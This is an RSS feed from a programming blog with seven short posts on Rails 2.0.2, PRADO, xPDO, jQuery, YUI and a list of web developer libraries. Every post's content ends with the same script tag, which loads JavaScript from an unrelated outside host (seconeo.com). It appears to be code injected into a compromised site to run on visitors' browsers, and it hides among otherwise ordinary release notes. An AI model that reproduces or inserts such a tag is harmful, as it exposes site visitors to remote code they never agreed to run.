<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Adventures In Programming &#187; Libraries</title>
	<atom:link href="http://www.adventuresinprogramming.com/topics/libraries/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.adventuresinprogramming.com</link>
	<description>Adventures in programming</description>
	<lastBuildDate>Tue, 08 Jan 2008 10:38:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Rails 2.0.2: Some new defaults and a few fixes</title>
		<link>http://www.adventuresinprogramming.com/2007/12/19/rails-202-some-new-defaults-and-a-few-fixes/</link>
		<comments>http://www.adventuresinprogramming.com/2007/12/19/rails-202-some-new-defaults-and-a-few-fixes/#comments</comments>
		<pubDate>Wed, 19 Dec 2007 13:29:14 +0000</pubDate>
		<dc:creator>Kodewulf</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Frameworks]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[ruby on rails]]></category>

		<guid isPermaLink="false">http://www.adventuresinprogramming.com/2007/12/19/rails-202-some-new-defaults-and-a-few-fixes/</guid>
		<description><![CDATA[Recently Rails has been updated to version 2.0. On December 17 2007 a minor revision was released taking it to 2.0.2. From the website: Rails 2.0.2 is a drop-in replacement for Rails 2.0 To upgrade, just do “gem install rails” (if the gems are still not propagated, use—source http://gems.rubyonrails.org) or use the new rel_2-0-2 tag. [...]]]></description>
			<content:encoded><![CDATA[<p> Recently Rails has been updated to version 2.0. On December 17 2007 a minor revision was released taking it to 2.0.2.</p>
<p>From the website:</p>
<blockquote><p> <strong>Rails 2.0.2 is a drop-in replacement for Rails 2.0</strong><br />
To upgrade, just do “gem install rails” (if the gems are still not propagated, use—source http://gems.rubyonrails.org) or use the new <a href="http://dev.rubyonrails.org/svn/rails/tags/rel_2-0-2/">rel_2-0-2 tag</a>.</p>
<p>The rest of the changes are as follows:</p>
<p><strong>Action Pack</strong></p>
<ul>
<li>Added delete_via_redirect and put_via_redirect to integration testing #10497 [philodespotos]</li>
</ul>
<ul>
<li>Allow headers[‘Accept’] to be set by hand when calling xml_http_request #10461 [BMorearty]</li>
</ul>
<ul>
<li>Added <span class="caps">OPTIONS</span> to list of default accepted <span class="caps">HTTP</span> methods #10449 [holoway]</li>
</ul>
<ul>
<li>Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 [chuyeow]. Example:ActionController::Base.asset_host = Proc.new { |source|   if source.starts_with?(’/images’)     “http://images.example.com”    else     “http://assets.example.com”    end }</li>
</ul>
<ul>
<li>Fixed that ActionView#file_exists? would be incorrect if @first_render is set #10569 [dbussink]</li>
</ul>
<ul>
<li>Added that Array#to_param calls to_param on all it’s elements #10473 [brandon]</li>
</ul>
<ul>
<li>Ensure asset cache directories are automatically created.  #10337 [Josh Peek, Cheah Chu Yeow]</li>
</ul>
<ul>
<li>render <img src='http://www.adventuresinprogramming.com/wp-includes/images/smilies/icon_mad.gif' alt=':x' class='wp-smiley' /> ml and :json preserve custom content types.  #10388 [jmettraux, Cheah Chu Yeow]</li>
</ul>
<ul>
<li>Refactor Action View template handlers.  #10437, #10455 [Josh Peek]</li>
</ul>
<ul>
<li>Fix DoubleRenderError message and leave out mention of returning false from filters.  Closes #10380 [Frederick Cheung]</li>
</ul>
<ul>
<li>Clean up some cruft around ActionController::Base#head.  Closes #10417 [ssoroka]</li>
</ul>
<p><strong>Active Record</strong></p>
<ul>
<li>Ensure optimistic locking handles nil #lock_version values properly.  Closes #10510 [rick]</li>
</ul>
<ul>
<li>Make the Fixtures Test::Unit enhancements more supporting for double-loaded test cases.  Closes #10379 [brynary]</li>
</ul>
<ul>
<li>Fix that validates_acceptance_of still works for non-existent tables (useful for bootstrapping new databases). Closes #10474 [hasmanyjosh]</li>
</ul>
<ul>
<li>Ensure that the :uniq option for has_many :through associations retains the order.  #10463 [remvee]</li>
</ul>
<ul>
<li>Base.exists? doesn’t rescue exceptions to avoid hiding <span class="caps">SQL</span> errors.  #10458 [Michael Klishin]</li>
</ul>
<ul>
<li>Documentation: Active Record exceptions, destroy_all and delete_all.  #10444, #10447 [Michael Klishin]</li>
</ul>
<p><strong>Active Resource</strong></p>
<ul>
<li>Added more specific exceptions for 400, 401, and 403 (all descending from ClientError so existing rescues will work) #10326 [trek]</li>
</ul>
<ul>
<li>Correct empty response handling.  #10445 [seangeo]</li>
</ul>
<p><strong>Active Support</strong></p>
<ul>
<li>Ruby 1.9 compatibility.  #1689, #10466, #10468 [Cheah Chu Yeow, Pratik Naik, Jeremy Kemper]</li>
</ul>
<ul>
<li>TimeZone#to_s uses <span class="caps">UTC</span> rather than <span class="caps">GMT</span>.  #1689 [Cheah Chu Yeow]</li>
</ul>
<ul>
<li>Refactor of Hash#symbolize_keys! to use Hash#replace.  Closes #10420 [ReinH]</li>
</ul>
<ul>
<li>Fix HashWithIndifferentAccess#to_options! so it doesn’t clear the options hash.  Closes #10419 [ReinH]</li>
</ul>
<p><strong>Rails</strong></p>
<ul>
<li>Changed the default database from mysql to sqlite3, so now running “rails myapp” will have a config/database.yml that’s setup for SQLite3 (which in <span class="caps">OS X</span> Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run “rails -d mysql myapp” [DHH]</li>
</ul>
<ul>
<li>Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) [DHH]</li>
</ul>
<ul>
<li>Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 [revans]</li>
</ul>
<ul>
<li>Fixed that local database creation should consider 127.0.0.1 local #9026 [parcelbrat]</li>
</ul>
<ul>
<li>Fixed that functional tests generated for scaffolds should use fixture calls instead of hard-coded IDs #10435 [boone]</li>
</ul>
<ul>
<li>Added db:migrate:redo and db:migrate:reset for rerunning existing migrations #10431, #10432  [matt]</li>
</ul>
<ul>
<li><span class="caps">RAILS</span>_GEM_VERSION may be double-quoted also.  #10443 [James Cox]</li>
</ul>
<ul>
<li>Update rails:freeze:gems to work with RubyGems 0.9.5.  [Jeremy Kemper]</li>
</ul>
</blockquote>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adventuresinprogramming.com/2007/12/19/rails-202-some-new-defaults-and-a-few-fixes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PRADO 3.1.0 Beta</title>
		<link>http://www.adventuresinprogramming.com/2007/04/22/prado-310-beta/</link>
		<comments>http://www.adventuresinprogramming.com/2007/04/22/prado-310-beta/#comments</comments>
		<pubDate>Sun, 22 Apr 2007 16:47:10 +0000</pubDate>
		<dc:creator>Kodewulf</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Frameworks]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[library]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[prado]]></category>

		<guid isPermaLink="false">http://adventuresinprogramming.com.s22377.gridserver.com/2007/04/22/prado-310-beta/</guid>
		<description><![CDATA[Version 3.1.0 of the PRADO PHP framework has gone into beta. PRADO is a component-based and event-driven programming framework for developing Web applications in PHP 5. The beta, as well as support forums and documentation can be found at the official PRADO website. We are proud to announce the BETA release of PRADO 3.1.0. This [...]]]></description>
			<content:encoded><![CDATA[<p>Version 3.1.0 of the PRADO PHP framework has gone into beta.  PRADO is a component-based and event-driven programming framework for developing Web applications in PHP 5. The beta, as well as support forums and documentation can be found at the official <a href="http://www.pradosoft.com" title="PRADO">PRADO</a> website.</p>
<blockquote><p>We are proud to announce the BETA release of PRADO 3.1.0. This is the result of nearly one year of hard work from the PRADO Group and represents a major milestone in the PRADO development. We hereby thank all PRADO developers and supporters. Please note, since this is a beta release, part of the code (especially those related with new features) may not be stable and are subject to change. Be very cautious if you intend to use this release in a production environment.</p>
<p>WHAT&#8217;S NEW IN THIS RELEASE<br />
- DB access: added three layers of database support, including PDO-based data access, Active Record and SqlMap.<br />
- Active controls: a list of AJAX-enabled Web controls.<br />
- Web services: added SOAP and JSON services.<br />
- TOutputCache: a control that caches selective parts of rendered HTML pages and can improve performance significantly.<br />
- TShellApplication: the base class for PRADO command line application<br />
- TDbCache: a generic cache module using database as persistent storage<br />
- TDbUserManager: a database-driven user manager module<br />
- TClientScriptLoader: a control for loading JavaScript libraries<br />
- Added five new demos, including chat, currency-converter, soap, sqlmap and time-tracker.<br />
- Many minor feature enhancements and bug fixes.</p></blockquote>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adventuresinprogramming.com/2007/04/22/prado-310-beta/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>xPDO</title>
		<link>http://www.adventuresinprogramming.com/2007/03/26/xpdo/</link>
		<comments>http://www.adventuresinprogramming.com/2007/03/26/xpdo/#comments</comments>
		<pubDate>Tue, 27 Mar 2007 05:18:50 +0000</pubDate>
		<dc:creator>Kodewulf</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Frameworks]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[cmf]]></category>
		<category><![CDATA[data access]]></category>
		<category><![CDATA[modx]]></category>
		<category><![CDATA[object-relational bridge]]></category>
		<category><![CDATA[openexpedio]]></category>
		<category><![CDATA[orb]]></category>
		<category><![CDATA[pdo]]></category>
		<category><![CDATA[xpdo]]></category>

		<guid isPermaLink="false">http://adventuresinprogramming.com.s22377.gridserver.com/2007/03/26/xpdo/</guid>
		<description><![CDATA[For those interested in data access libraries for PHP, the OpenExpedio project is well worth a look at. It will be part of the core for the upcoming release of MODx CMF. I haven&#8217;t had a chance to delve into the code to deeply, so any comments about your experiences with this library will be [...]]]></description>
			<content:encoded><![CDATA[<p>For those interested in data access libraries for PHP, the <a href="http://xpdo.org/" title="OpenExpedio">OpenExpedio</a> project is well worth a look at.  It will be part of the core for the upcoming release of <a href="http://modxcms.com/" title="MODx CMF">MODx CMF</a>. I haven&#8217;t had a chance to delve into the code to deeply, so any comments about your experiences with this library will be greatly appreciated.</p>
<blockquote><p>OpenExpedio is our name for open eXtensions to PDO. It&#8217;s a light-weight ORB (object-relational bridge) library that works on PHP 4 and 5, and takes advantage of the newly adopted standard for database persistence in PHP 5.1+, PDO. It implements the very simple, but effective Active Record pattern for data access.</p></blockquote>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adventuresinprogramming.com/2007/03/26/xpdo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery</title>
		<link>http://www.adventuresinprogramming.com/2006/07/15/jquery/</link>
		<comments>http://www.adventuresinprogramming.com/2006/07/15/jquery/#comments</comments>
		<pubDate>Sat, 15 Jul 2006 11:58:13 +0000</pubDate>
		<dc:creator>Kodewulf</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[dom scripting]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[library]]></category>

		<guid isPermaLink="false">http://adventuresinprogramming.com.s22377.gridserver.com/2006/07/15/jquery/</guid>
		<description><![CDATA[jQuery jQuery is a new type of Javascript library. It is not a huge, bloated, framework promising the best in AJAX &#8211; nor is just a set of needlessly complex enhancements &#8211; jQuery is designed to change the way that you write Javascript.]]></description>
			<content:encoded><![CDATA[<p><a href="http://jquery.com" title="jQuery">jQuery</a></p>
<blockquote><p><a href="http://jquery.com" title="jQuery">jQuery</a> is a new type of Javascript library. It is not a huge, bloated, framework promising the best in AJAX &#8211; nor is just a set of needlessly complex enhancements &#8211; jQuery is designed to change the way that you write Javascript.</p></blockquote>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adventuresinprogramming.com/2006/07/15/jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 10 Web Developer Libraries</title>
		<link>http://www.adventuresinprogramming.com/2006/06/18/top-10-web-developer-libraries/</link>
		<comments>http://www.adventuresinprogramming.com/2006/06/18/top-10-web-developer-libraries/#comments</comments>
		<pubDate>Sun, 18 Jun 2006 09:12:07 +0000</pubDate>
		<dc:creator>Kodewulf</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Frameworks]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[library]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://adventuresinprogramming.com.s22377.gridserver.com/2006/06/18/top-10-web-developer-libraries/</guid>
		<description><![CDATA[Top 10 web dev libraries I decided to make a list of the top libraries that I have come across or that I personally use. Libraries can be a web developers best friend. They are great resources to learn from and can save hours and hours of time. These libraries include JavaScript, Ajax, Colors, PHP, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.cameronolthuis.com/2006/06/top-10-web-developer-libraries/" title="Top 10 web dev libraries"><br />
Top 10 web dev libraries</a></p>
<blockquote><p>I decided to make a list of the top libraries that I have come across or that I personally use. Libraries can be a web developers best friend. They are great resources to learn from and can save hours and hours of time. These libraries include JavaScript, Ajax, Colors, PHP, and CSS. These should be in any web developers bookmarks, so go ahead and look through these libraries and bookmark your favorite ones. The list is in no particular order.</p></blockquote>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adventuresinprogramming.com/2006/06/18/top-10-web-developer-libraries/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yahoo! User Interface (YUI) Library</title>
		<link>http://www.adventuresinprogramming.com/2006/06/13/yahoo-user-interface-yui-library/</link>
		<comments>http://www.adventuresinprogramming.com/2006/06/13/yahoo-user-interface-yui-library/#comments</comments>
		<pubDate>Tue, 13 Jun 2006 13:57:49 +0000</pubDate>
		<dc:creator>Kodewulf</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Frameworks]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[dhtml]]></category>
		<category><![CDATA[dom scripting]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[library]]></category>
		<category><![CDATA[user interface]]></category>
		<category><![CDATA[yahoo]]></category>
		<category><![CDATA[yui]]></category>

		<guid isPermaLink="false">http://adventuresinprogramming.com.s22377.gridserver.com/2006/06/13/yahoo-user-interface-yui-library/</guid>
		<description><![CDATA[The last few contracts I had concentrated on .NET and related technologies, specifically application development. So feeling eager to get back into some web development, I started to have a look around and see what has changed in the last few months. This was one of the things I found. Yahoo! has put together a [...]]]></description>
			<content:encoded><![CDATA[<p>The last few contracts I had concentrated on .NET and related technologies, specifically application development. So feeling eager to get back into some web development, I started to have a look around and see what has changed in the last few months. This was one of the things I found.  Yahoo! has put together a very nice library of utilities and controls to make the life of the web developer a little easier. You can find more information, downloads and articles on the <a href="http://com1.devnet.scd.yahoo.com/yui/index.html" title="Yahoo! User Interface (YUI) Library">Yahoo! User Interface (YUI) Library</a> website.</p>
<blockquote><p>The <a href="http://com1.devnet.scd.yahoo.com/yui/index.html" title="Yahoo! User Interface (YUI) Library">Yahoo! User Interface (YUI) Library</a> is a set of utilities and controls, written in JavaScript, for building richly interactive web applications using techniques such as DOM scripting, DHTML and AJAX. The YUI Library also includes several core CSS resources. All components in the YUI Library have been released as open source under a BSD license and are free for all uses. Download the entire library, its documentation and examples from Sourceforge.</p>
<p>The library&#8217;s developers blog at the YUI Blog and the YUI Library community exchanges ideas at ydn-javaScript on Yahoo! Groups.</p></blockquote>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adventuresinprogramming.com/2006/06/13/yahoo-user-interface-yui-library/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PRADO 3.0.1 released</title>
		<link>http://www.adventuresinprogramming.com/2006/06/13/prado-301-released/</link>
		<comments>http://www.adventuresinprogramming.com/2006/06/13/prado-301-released/#comments</comments>
		<pubDate>Tue, 13 Jun 2006 13:35:25 +0000</pubDate>
		<dc:creator>Kodewulf</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Frameworks]]></category>
		<category><![CDATA[Libraries]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[library]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[prado]]></category>

		<guid isPermaLink="false">http://adventuresinprogramming.com.s22377.gridserver.com/2006/06/13/prado-301-released/</guid>
		<description><![CDATA[From the PRADO development team: We are pleased to announce that PRADO version 3.0.1 is formally released! Version 3.0.1 contains about 10 bug fixes and many small enhancements. It also includes a complete weblog demo which should be a good starting point for PRADO users to develop complex Web applications. A few supporting components are [...]]]></description>
			<content:encoded><![CDATA[<p>From the <a href="http://www.pradosoft.com" title="PRADO">PRADO</a> development team:</p>
<blockquote><p>We are pleased to announce that PRADO version 3.0.1 is formally released!</p>
<p>Version 3.0.1 contains about 10 bug fixes and many small enhancements. It also includes a complete weblog demo which should be a good starting point for PRADO users to develop complex Web applications. A few supporting components are also added in this release.</p>
<p>PRADO v3.0.1 may be downloaded at http://www.pradosoft.com/download/.</p></blockquote>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adventuresinprogramming.com/2006/06/13/prado-301-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
